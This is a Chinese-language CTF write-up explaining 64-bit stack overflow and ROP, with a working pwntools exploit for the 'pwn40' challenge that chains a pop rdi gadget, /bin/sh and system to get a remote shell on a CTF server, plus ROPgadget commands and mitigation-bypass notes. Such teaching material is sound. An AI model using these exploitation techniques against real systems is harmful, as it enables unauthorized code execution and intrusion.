1. 64位与32位栈溢出的关键差异
第一次接触64位栈溢出攻击时,我也被寄存器传参规则搞得晕头转向。记得当时在CTF比赛中遇到pwn40这道题,明明已经找到了system函数和/bin/sh字符串的地址,却怎么都打不通。后来才发现,问题就出在没有理解64位系统独特的传参方式。
在32位系统中,函数调用时参数是通过栈传递的。比如调用system("/bin/sh"),我们只需要把返回地址、system地址和字符串地址依次压栈就行。但在64位系统中,情况完全不同 - 前6个参数是通过寄存器传递的。具体来说,第一个参数放在rdi寄存器,第二个在rsi,依次是rdx、rcx、r8和r9。只有当参数超过6个时,多出来的部分才会使用栈空间。
这个差异对栈溢出攻击的影响是巨大的。在pwn40这道题中,虽然我们控制了返回地址,但如果不先把/bin/sh的地址放入rdi寄存器,直接跳转到system函数是没用的。这就是为什么我们需要寻找特定的gadget - 比如pop rdi; ret这样的指令序列,它能帮我们把栈上的值弹出到rdi寄存器中。
2. 理解ROP链的构建原理
ROP(Return-Oriented Programming)链是栈溢出攻击的核心技术。它的基本思想是利用程序中已有的代码片段(gadget),通过精心构造的栈布局,让程序按照我们的意愿执行一系列操作。
在pwn40这道题中,我们需要构建的ROP链要完成两个关键操作:
- 将/bin/sh字符串的地址放入rdi寄存器
- 调用system函数
为了找到合适的gadget,我通常会使用ROPgadget这个工具。具体命令如下:
ROPgadget --binary pwn --only "pop|ret" | grep rdi这个命令会扫描二进制文件,找出所有包含pop和ret指令的片段,然后筛选出操作rdi寄存器的那些。在pwn40中,我们找到了地址0x4007e3处的pop rdi; ret gadget。
另一个容易被忽视但很重要的gadget是单纯的ret指令。在64位系统中,由于存在栈对齐要求,有时候需要在ROP链中插入一个ret指令来调整栈指针。这个可以通过以下命令查找:
ROPgadget --binary pwn | grep "ret"3. 实战构建pwn40的exploit
现在让我们一步步构建pwn40的完整攻击流程。首先用IDA分析程序,我们得到以下关键信息:
- 栈溢出需要的填充长度:0xA+8字节
- /bin/sh字符串地址:0x400808
- system函数地址:0x400520
- pop rdi; ret gadget地址:0x4007e3
- ret gadget地址:0x4004fe
payload的结构应该是这样的:
- 填充垃圾数据直到覆盖返回地址(0xA+8字节)
- pop rdi gadget的地址
- /bin/sh字符串的地址(会被pop到rdi)
- ret gadget的地址(用于栈对齐)
- system函数的地址
用pwntools实现的完整exploit代码如下:
from pwn import * context.log_level = 'debug' p = remote('pwn.challenge.ctf.show', 28286) payload = b'a'*(0xA+8) payload += p64(0x4007e3) # pop rdi; ret payload += p64(0x400808) # /bin/sh payload += p64(0x4004fe) # ret payload += p64(0x400520) # system p.sendline(payload) p.interactive()4. 调试技巧与常见问题解决
在实际操作中,有几个常见的坑需要注意。首先是栈对齐问题 - 在64位系统中,调用函数时栈指针(rsp)必须16字节对齐。如果不确定是否对齐,可以在ROP链中插入一个ret指令来调整。
另一个常见问题是找不到合适的gadget。这时候可以尝试扩大搜索范围:
ROPgadget --binary pwn | grep "pop rdi"如果实在找不到pop rdi,也可以考虑其他寄存器组合,或者使用更复杂的gadget链。
调试时,我推荐使用gdb配合pwntools:
gdb -q ./pwn然后在gdb中设置断点,观察寄存器和栈的变化。pwntools的cyclic工具也能帮助快速确定溢出点:
payload = cyclic(100)5. 进阶技巧与防御绕过
掌握了基础ROP后,可以尝试更复杂的攻击技巧。比如当程序没有直接提供system和/bin/sh时,我们需要通过泄漏libc地址来计算这些函数的实际地址。这通常需要组合多个gadget来实现内存读取。
现代系统有很多防护机制,如ASLR、NX、Stack Canary等。绕过这些防护需要更高级的技术:
- 针对ASLR:通过信息泄漏获取地址
- 针对NX:使用ROP或ret2libc
- 针对Stack Canary:泄漏canary值或覆盖其他控制流
在pwn40这样的基础题目中,这些防护通常是被禁用的,但了解它们对实战很重要。建议从简单题目开始,逐步挑战更复杂的场景。